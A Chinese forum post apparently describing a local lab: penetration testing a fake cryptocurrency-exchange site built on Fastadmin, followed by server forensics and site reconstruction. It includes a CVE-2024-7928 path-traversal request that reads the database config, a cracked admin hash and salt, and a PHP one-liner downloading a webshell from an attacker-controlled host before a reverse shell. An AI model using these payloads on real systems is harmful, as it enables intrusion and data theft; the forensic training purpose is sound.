找回密码
立即注册
搜索
热搜: Java Python Linux Go
发回帖 发新帖

1167

积分

0

好友

167

主题
发表于 3 天前 | 查看: 6| 回复: 0

免责声明:本文所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本文所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。

灵感来源与背景

本次实验的灵感来源于基于Fastadmin框架开发的一个涉网平台。随着网络犯罪将更多数据存储于云端服务器,证据提取的复杂性与日俱增。本次模拟的场景是,作为一名安全研究员,需对某个虚假数字货币交易所平台进行渗透测试,并在获取权限后完成服务器端的电子数据取证工作。

实验环境搭建

  • 靶机系统:CentOS 7.6
  • 服务架构:Nginx + PHP + MySQL (此为Linux服务器常见组合,与Windows下的IIS+ASP+MSSQL或Apache+PHP+MySQL架构相对应)

渗透测试过程

1. 信息收集与初步探测
直接访问目标IP,同时进行后台扫描。这是一个虚假的数字货币交易平台,UI界面较为简单。注册账户进入后发现,前台并无明显的交互功能(如文件上传、个人信息编辑等),传统的利用点缺失。

2. 漏洞发现与利用
在对目标进行通杀漏洞扫描时,发现其存在 CVE-2024-7928 漏洞。验证payload如下:

GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: 192.168.220.130
...

利用此漏洞成功读取到网站/application/database.php配置文件,从而获取了数据库的连接信息(主机、用户名、密码、数据库名)。

3. 数据库渗透与后台突破
在目标服务器MySQL端口允许远程连接的情况下(实战中多数受限),可直接连接数据库。查询管理员用户表,获取了管理员账号的密码哈希值与盐值。

  • 密码(password):3d66ce6a208d89bf833dd8e7ccf46fa2
  • 密码盐(salt):02a3eb
    通过在线CMD5平台或本地破解,成功解密出明文密码。此方法适用于同版本的Fastadmin框架。使用破解的凭证成功登录网站后台。

4. 获取WebShell
在后台经过短暂FUZZ测试,发现一处可执行PHP代码的功能点。利用file_put_contents()结合file_get_contents()函数,从攻击者控制的服务器下载WebShell到目标服务器。

file_put_contents('/目标路径/shell.php', file_get_contents('http://攻击者IP/webshell.php'))

连接WebShell后,成功反弹一个系统Shell到攻击机,获得服务器操作权限。

电子数据取证与服务器重建

1. 关键配置文件取证
获得Shell后,首要任务是定位并备份关键的网站与服务器配置文件。

  • Web中间件配置
    • Apache:/etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf
    • Nginx:/etc/nginx/nginx.conf
    • Tomcat:conf/server.xml
  • 数据库配置
    • MySQL:/etc/mysql/my.cnf/etc/my.cnf
    • PostgreSQL:/etc/postgresql/<version>/main/postgresql.conf
  • 特定环境:若目标使用宝塔面板,网站文件通常在/www/wwwroot,日志在/www/wwwlogs

2. 完整站点备份与重建
将整个网站目录及数据库进行打包备份,并计算哈希值以供校验。随后,可在取证仿真环境或本地使用宝塔面板快速重建站点:

  1. 将源码压缩包上传至/www/wwwroot并解压。
  2. 创建站点,绑定域名(内网可修改hosts文件模拟)。
  3. 根据备份的数据库配置信息,在面板中创建同名数据库和相应用户。
  4. 修改网站源码中的数据库配置文件(通常为application/database.php),确保数据库连接信息(主机、库名、用户名、密码)与新建的一致。
  5. 访问站点,验证重建成功。

远程勘验取证规范流程

在正式的远程取证工作中,操作前需遵循严谨的流程,确保取证环境的清洁、网络路径的真实性与时间的准确性,以保障证据的有效性。

  1. 全程录屏:使用录屏软件记录所有操作过程。
  2. 环境清洁:对取证所用计算机进行全盘病毒查杀。
  3. 清理网络痕迹
    • 执行 ipconfig /flushdns 清除DNS缓存。
    • 检查 C:\Windows\System32\drivers\etc\hosts 文件,确认目标域名未在此被映射。
  4. 检查网络设置:确认网络连接与DNS设置(建议使用114.114.114.114等公共DNS)。
  5. 路由追踪:执行 tracert 目标域名,截图记录网络路径。
  6. 清理浏览器数据:清除浏览器缓存、Cookie等历史数据。
  7. 时间校准:访问国家授时中心网站,校准取证计算机的系统时间。

完成以上准备工作后,方可开始对远程主机的正式渗透测试与取证操作,并依据前述步骤定位、分析关键的配置文件与日志文件,完成取证工作。整个流程体现了从攻击到取证,再到环境重建的完整Linux系统下实战路径。




上一篇:Hive与Spark大数据查询性能优化实战:从SQL调优到架构设计
下一篇:AI视频生成技术栈投资分析:从基础模型到智能体的分层框架
您需要登录后才可以回帖 登录 | 立即注册

手机版|小黑屋|网站地图|云栈社区 ( 苏ICP备2022046150号-2 )

GMT+8, 2025-12-17 14:37 , Processed in 0.108121 second(s), 40 queries , Gzip On.

Powered by Discuz! X3.5

© 2025-2025 云栈社区.

快速回复 返回顶部 返回列表